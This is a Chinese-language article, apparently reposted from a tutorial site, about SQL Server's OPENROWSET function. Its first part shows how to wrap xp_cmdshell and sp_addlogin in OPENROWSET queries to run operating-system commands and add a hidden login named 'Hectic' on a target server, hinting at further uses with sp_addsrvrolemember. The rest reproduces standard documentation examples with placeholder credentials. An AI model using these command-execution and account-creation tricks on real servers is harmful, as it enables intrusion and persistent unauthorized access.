mysqlselectfromopenrowset_openrowset的⽤法xp提交更改
利⽤openrowset发送本地命令。通常我们的⽤法是(包括MSDN的列⼦)如下:
select * from openrowset('sqloledb','myserver';'sa';'','select * from table')
可见(即使从字⾯意义上看)openrowset只是作为⼀个快捷的远程数据库访问,它必须跟在select后⾯,也就是说需要返回⼀个
recordset 。
那么我们能不能利⽤它调⽤xp_cmdshell呢?答案是肯定的!
select * from openrowset('sqloledb','server';'sa';'','set fmtonly off
exec master.dbo.xp_cmdshel l ''dir c:\''')
必须加上set fmtonly off⽤来屏蔽默认的只返回列信息的设置,这样xp_cmdshell返回的output集合就会提交给前⾯的select显⽰,如果采⽤默认设置,会返回空集合导致select出错,命令也就⽆法执⾏了。
那么如果我们要调⽤sp_addlogin呢,他不会像xp_cmdshell返回任何集合的,我们就不能再依靠fmtonly
设置了,可以如下操作:
select * from openrowset('sqloledb','server';'sa';'','select ''OK!''
exec master.dbo.sp_addlogin Hectic')
这样,命令⾄少会返回select OK!'的集合,你的机器商会显⽰OK!,同时对⽅的数据库内也会增加⼀个Hectic的账号,也就是说,我们利⽤select 'OK!'的返回集合欺骗了本地的select请求,是命令能够正常执⾏,通理sp_addsrvrolemember和opendatasource也可以如此操作!⾄于这个⽅法真正的⽤处,⼤家慢慢想吧。
⽰例A. 将OPENROWSET与 SELECT 语句及⽤于 SQL Server 的 Microsoft OLE DB 提供程序⼀起使⽤
下⾯的⽰例使⽤⽤于 SQL Server 的 Microsoft OLE DB 提供程序访问pubs数据库中的authors表,该数据库在⼀个名为seattle1的远程服务器上。从datasource、user_id及password中初始化提供程序,并且使⽤ SELECT 语句定义返回的⾏集。USE pubs
GO
SELECT a.*
FROMOPENROWSET('SQLOLEDB','seattle1';'sa';'MyPass',
'SELECT * FROM pubs.dbo.authors ORDER BY au_lname, au_fname') AS a
GOB. 将OPENROWSET与对象及⽤于 ODBC 的 OLE DB 提供程序⼀起使⽤
下⾯的⽰例使⽤⽤于 ODBC 的 OLE DB 提供程序以及 SQL Server ODBC 驱动程序访问pubs数据库中的authors表,该数据库在⼀个名为seattle1的远程服务器中。提供程序⽤在 ODBC 提供程序所⽤的 ODBC 语法中指定的provider_string进⾏初始化,定义返回的⾏集时使⽤catalog.schema.object语法。USE pubs
GO
SELECT a.*
FROMOPENROWSET('MSDASQL',
'DRIVER={SQL Server};SERVER=seattle1;UID=sa;PWD=MyPass',
pubs.dbo.authors) AS a
ORDER BY a.au_lname, a.au_fname
GOC. 使⽤⽤于 Jet 的 Microsoft OLE DB 提供程序
下⾯的⽰例通过⽤于 Jet 的 Microsoft OLE DB 提供程序访问 Microsoft AccessNorthwind数据库中的orders表。
说明 下⾯的⽰例假定已经安装了 Access。
USE pubs
GO
SELECT a.*
FROMOPENROWSET('Microsoft.Jet.OLEDB.4.0',
'c:\MSOffice\Access\Samples\northwind.mdb';'admin';'mypwd', Orders)
AS a
GOD. 使⽤OPENROWSET和 INNER JOIN 中的另⼀个表
下⾯的⽰例从本地 SQL ServerNorthwind数据库的customers表中,以及存储在相同计算机上 AccessNorthwind数据库的orders表中选择所有数据
说明 下⾯的⽰例假定已经安装了 Access。
USE pubs
GO
SELECT c.*, o.*
FROM Northwind.dbo.Customers AS c INNER JOINOPENROWSET('Microsoft.Jet.OLEDB.4.0',
'c:\MSOffice\Access\Samples\northwind.mdb';'admin';'mypwd', Orders)
AS o
ON c.CustomerID = o.CustomerID
GO
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论